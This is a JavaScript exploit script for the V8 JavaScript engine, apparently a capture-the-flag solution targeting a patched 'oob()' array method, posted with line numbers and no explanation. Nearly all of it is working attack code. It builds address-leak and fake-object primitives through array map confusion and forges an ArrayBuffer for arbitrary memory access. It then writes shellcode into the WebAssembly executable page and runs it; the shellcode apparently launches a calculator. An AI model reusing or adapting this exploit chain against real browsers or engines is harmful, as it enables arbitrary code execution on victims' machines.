1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99
|
class Memory{ constructor(){ this.buf = new ArrayBuffer(8); this.f64 = new Float64Array(this.buf); this.u32 = new Uint32Array(this.buf); this.bytes = new Uint8Array(this.buf); } d2u(val){ this.f64[0] = val; let tmp = Array.from(this.u32); return tmp[1] * 0x100000000 + tmp[0]; } u2d(val){ let tmp = []; tmp[0] = parseInt(val % 0x100000000); tmp[1] = parseInt((val - tmp[0]) / 0x100000000); this.u32.set(tmp); return this.f64[0]; } } var mem = new Memory();
var shellcode=[0x90909090,0x90909090,0x782fb848,0x636c6163,0x48500000,0x73752fb8,0x69622f72,0x8948506e,0xc03148e7,0x89485750,0xd23148e6,0x3ac0c748,0x50000030,0x4944b848,0x414c5053,0x48503d59,0x3148e289,0x485250c0,0xc748e289,0x00003bc0,0x050f00];
const wasm_code = new Uint8Array([ 0x00, 0x61, 0x73, 0x6d, 0x01, 0x00, 0x00, 0x00, 0x01, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x60, 0x00, 0x01, 0x7f, 0x03, 0x82, 0x80, 0x80, 0x80, 0x00, 0x01, 0x00, 0x06, 0x81, 0x80, 0x80, 0x80, 0x00, 0x00, 0x07, 0x85, 0x80, 0x80, 0x80, 0x00, 0x01, 0x01, 0x61, 0x00, 0x00, 0x0a, 0x8a, 0x80, 0x80, 0x80, 0x00, 0x01, 0x84, 0x80, 0x80, 0x80, 0x00, 0x00, 0x41, 0x00, 0x0b ]); const wasm_instance = new WebAssembly.Instance(new WebAssembly.Module(wasm_code)); const wasm_func = wasm_instance.exports.a;
var fake_arraybuffer = [
mem.u2d(0x0), mem.u2d(0x0),
mem.u2d(0x0), mem.u2d(0x1000),
mem.u2d(0x0), mem.u2d(0x2),
mem.u2d(0x0), mem.u2d(0x0),
mem.u2d(0x0), mem.u2d(0x1900042319080808), mem.u2d(0x00000000082003ff), mem.u2d(0x0), mem.u2d(0x0), mem.u2d(0x0), mem.u2d(0x0), mem.u2d(0x0) ].splice(0);
var ab = new ArrayBuffer(0x1000).splice(0); var obj = [wasm_instance, fake_arraybuffer, ab].splice(0); var buf = [1.1, 2.2, 3.3].splice(0);
obj_map = mem.d2u(obj.oob()); buf_map = mem.d2u(buf.oob()); console.log("obj_map addr: 0x" + obj_map.toString(16)) console.log("buf_map addr: 0x" + buf_map.toString(16))
obj.oob(mem.u2d(buf_map));
wasm_inst_addr = mem.d2u(obj[0]) - 1; rwx_area_addr = wasm_inst_addr + 0x88
fake_ab_addr = mem.d2u(obj[1]) - 1; fake_obj_addr = fake_ab_addr - 0x80; fake_obj_map = fake_ab_addr - 0x40;
console.log("fake_ab_addr: 0x" + fake_ab_addr.toString(16)); console.log("rwx_area_addr: 0x" + rwx_area_addr.toString(16));
fake_arraybuffer[0] = mem.u2d(fake_obj_map + 1); fake_arraybuffer[4] = mem.u2d(rwx_area_addr);
obj[2] = mem.u2d(fake_obj_addr + 1); obj.oob(mem.u2d(obj_map));
fake_obj = new DataView(obj[2]); rwx_area = mem.d2u(fake_obj.getFloat64(0, true)); console.log("rwx_area: 0x" + rwx_area.toString(16));
fake_arraybuffer[4] = mem.u2d(rwx_area);
for (i = 0; i < shellcode.length; i++){ fake_obj.setUint32(i * 4, shellcode[i], true); }
wasm_func();
|
评论